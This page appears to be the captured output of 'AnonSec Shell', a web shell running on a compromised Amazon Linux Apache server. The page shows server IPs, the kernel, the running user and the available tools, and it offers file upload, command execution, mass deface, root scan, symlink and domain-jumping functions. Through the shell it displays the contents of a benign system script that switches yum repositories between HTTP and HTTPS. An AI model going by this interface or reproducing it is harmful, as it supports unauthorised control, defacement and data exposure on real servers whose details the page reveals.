. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.32.98   [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/usr/sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/proc/self/root/usr/sbin/amazon-linux-https
#!/bin/sh

if [ "$(id -u)" -ne 0 ]; then
   echo "This script must be run as root"
   exit 1
fi

if [ "$1" != "enable" ] && [ "$1" != "disable" ]; then
   echo "usage: amazon-linux-https [ enable | disable ]"
   exit 1
fi

region=$(head -n 1 /etc/yum/vars/awsregion)
domain=$(head -n 1 /etc/yum/vars/awsdomain)

if [ "$1" = "enable" ]; then
   echo "https" > /etc/yum/vars/awsproto
   if [ "$region" = "default" ]; then
      echo "amazonlinux" > /etc/yum/vars/amazonlinux
      echo "amazonlinux.com" > /etc/yum/vars/awsdomain
   else
      if [ "$domain" = "amazonaws.com" ] || [ "$domain" = "amazonaws.com.cn" ]; then
         echo "amazonlinux-2-repos-$region.s3.dualstack" > /etc/yum/vars/amazonlinux
      else
         echo "amazonlinux-2-repos-$region.s3" > /etc/yum/vars/amazonlinux
      fi
   fi
elif [ "$1" = "disable" ]; then
   echo "http" > /etc/yum/vars/awsproto
   echo "amazonlinux" > /etc/yum/vars/amazonlinux
   if [ "$region" = "default" ]; then
      echo "amazonaws.com" > /etc/yum/vars/awsdomain
   fi
fi


Anon7 - 2022
AnonSec Team